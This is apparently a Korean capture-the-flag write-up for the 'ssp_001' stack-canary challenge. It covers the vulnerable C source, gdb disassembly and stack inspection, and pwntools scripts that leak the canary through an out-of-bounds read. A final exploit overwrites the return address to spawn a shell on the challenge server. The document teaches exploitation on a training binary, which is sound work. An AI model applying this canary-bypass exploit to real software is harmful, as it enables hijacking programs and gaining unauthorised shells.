
ssp 방어 기법을 우회해 flag 파일을 읽어 정답을 획득해야한다.
문제를 풀기 전에 스택 카나리에 대해 알아야한다.
스택 버퍼 오버플로우로부터 반환 주소를 보호하는 보호기법
스택 카나리는 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고,
함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법
카나리 값의 변조가 확인되면 프로세스는 강제로 종료됨
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
문제에 주어진 코드이다.
print_box 함수에서 canary를 leak할 수 있을 것 같다.
box와 카나리의 offset을 확인하고 idx에 offset을 나눠서 넣어봐야겠다.
Reading symbols from ./ssp_001...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0804872b <+0>: push ebp
0x0804872c <+1>: mov ebp,esp
0x0804872e <+3>: push edi
0x0804872f <+4>: sub esp,0x94
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax
0x0804873e <+19>: mov eax,gs:0x14
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax
0x08048747 <+28>: xor eax,eax
0x08048749 <+30>: lea edx,[ebp-0x88]
0x0804874f <+36>: mov eax,0x0
0x08048754 <+41>: mov ecx,0x10
0x08048759 <+46>: mov edi,edx
0x0804875b <+48>: rep stos DWORD PTR es:[edi],eax
0x0804875d <+50>: lea edx,[ebp-0x48]
0x08048760 <+53>: mov eax,0x0
0x08048765 <+58>: mov ecx,0x10
0x0804876a <+63>: mov edi,edx
0x0804876c <+65>: rep stos DWORD PTR es:[edi],eax
0x0804876e <+67>: mov WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>: mov DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>: mov DWORD PTR [ebp-0x90],0x0
0x0804878b <+96>: call 0x8048672 <initialize>
0x08048790 <+101>: call 0x80486f1 <menu>
0x08048795 <+106>: push 0x2
0x08048797 <+108>: lea eax,[ebp-0x8a]
0x0804879d <+114>: push eax
0x0804879e <+115>: push 0x0
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
---Type <return> to continue, or q <return> to quit---
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46
0x080487b5 <+138>: je 0x80487c6 <main+155>
0x080487b7 <+140>: cmp eax,0x50
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp eax,0x45
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
0x080487c6 <+155>: push 0x804896c
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88]
0x080487db <+176>: push eax
0x080487dc <+177>: push 0x0
0x080487de <+179>: call 0x80484a0 <read@plt>
0x080487e3 <+184>: add esp,0xc
0x080487e6 <+187>: jmp 0x804887a <main+335>
0x080487eb <+192>: push 0x8048979
0x080487f0 <+197>: call 0x80484b0 <printf@plt>
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94]
0x080487fe <+211>: push eax
0x080487ff <+212>: push 0x804898a
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>: add esp,0x8
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>: push eax
0x08048813 <+232>: lea eax,[ebp-0x88]
0x08048819 <+238>: push eax
0x0804881a <+239>: call 0x80486cc <print_box>
0x0804881f <+244>: add esp,0x8
---Type <return> to continue, or q <return> to quit---
0x08048822 <+247>: jmp 0x804887a <main+335>
0x08048824 <+249>: push 0x804898d
0x08048829 <+254>: call 0x80484b0 <printf@plt>
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90]
0x08048837 <+268>: push eax
0x08048838 <+269>: push 0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>: add esp,0x8
0x08048845 <+282>: push 0x804899a
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>: push eax
0x08048859 <+302>: lea eax,[ebp-0x48]
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
0x08048864 <+313>: add esp,0xc
0x08048867 <+316>: mov eax,0x0
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>: leave
0x08048888 <+349>: ret
End of assembler dump.
(gdb)
다음은 메인을 디스어셈블 한 것이다.
이번에는 name의 스택을 확인해본다.
(gdb) b *main+308
Breakpoint 1 at 0x804885f
(gdb) r
Starting program: /home/psj/ssp_001
[F]ill the box
[P]rint the box
[E]xit
> E
Name Size : 8
Name :
Breakpoint 1, 0x0804885f in main ()
(gdb) ni
AAAABBBB
0x08048864 in main ()
(gdb)
0x08048867 in main ()
(gdb) x/50wx $esp
0xffffcfb0: 0xffffd0e4 0x00000000 0x00000008 0x0a4559bf
0xffffcfc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcfd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcfe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcff0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd000: 0x41414141 0x42424242 0x00000000 0x00000000
0xffffd010: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd020: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd030: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd040: 0xa6abb500 0xf7fb6000 0x00000000 0xf7e1e647
0xffffd050: 0x00000001 0xffffd0e4 0xffffd0ec 0x00000000
0xffffd060: 0x00000000 0x00000000 0xf7fb6000 0xf7ffdc04
0xffffd070: 0xf7ffd000 0x00000000
main+30에 브레이크를 걸고 name에 AAAABBBB를 입력하면
0xffffd000에 값이 들어가게 된다.
0xffffd000에 box가 들어갔으니 0xffffd000-0xffffcfa4가 64비트로 나눠떨어진다.
#stack
low
box[64]
name[64]
canary[4]
sfp[4]
dummy[4]
ret[4]
high
스택을 확인해보면 0xa6abb500가 카나리인 것을 확인할 수 있다.
즉, box와 카나리의 offset은 0x80인 128이다.
print_box에서 idx를 128, 129, 130, 131을 주면 카나리가 나올 것이라고 예상한다.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/psj/ssp_001
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 128
Element of index 128 is : 00
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 129
Element of index 129 is : e8
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 130
Element of index 130 is : a1
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 131
Element of index 131 is : 11
[F]ill the box
[P]rint the box
[E]xit
카나리가 stack에서 반대로 표시되니
카나리의 값은 0x11a1e800이 된다.
from pwn import *
#context.log_level = "debug"
p = process("./ssp_001")
canary = b"0x"
p.recvuntil("> ")
def canary_leak(num): #P 값을 주고 카니리 leak을 반복
p.sendline(b"P")
p.recvuntil(": ")
p.sendline(str(num))
p.recvuntil("is : ")
return p.recv()[:2]
canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)
canary = int(canary, 16)
print("Canary : "+hex(canary))
다음은 카나리를 leak하기 위해 만든 프로그램이다.
minji@ubuntu:~$ python3 sp_leak.py
[+] Starting local process './ssp_001': pid 93566
Canary : 0x8b653300
[*] Stopped process './ssp_001' (pid 93566)
leak 스크립트를 실행하면 카나리가 잘 나오는 것을 확인할 수 있다.
from pwn import *
#context.log_level = "debug"
#p = process("./ssp_001")
p = remote("host1.dreamhack.games",11392)
e = ELF("./ssp_001")
canary = b"0x"
get_shell = e.symbols["get_shell"]
p.recvuntil("> ")
def canary_leak(num):
p.sendline(b"P")
p.recvuntil(": ")
p.sendline(str(num))
p.recvuntil("is : ")
return p.recv()[:2]
canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)
canary = int(canary, 16)
print("Canary : "+hex(canary))
payload = b"\x90" * 64 #name
payload += p32(canary) #canary
payload += b"\x90" * 8 #sfp & 4bytes dummy
payload += p32(get_shell) #ret
p.sendline("E")
p.recvuntil("Size : ")
p.sendline(str(len(payload))) #payload length
p.recvuntil("Name : ")
p.sendline(payload)
p.interactive()
name을 이용해 payload를 짜본 exploit code이다.

익스플로잇 코드를 실행하면 다음과 같이 플래그를 얻을 수 있다.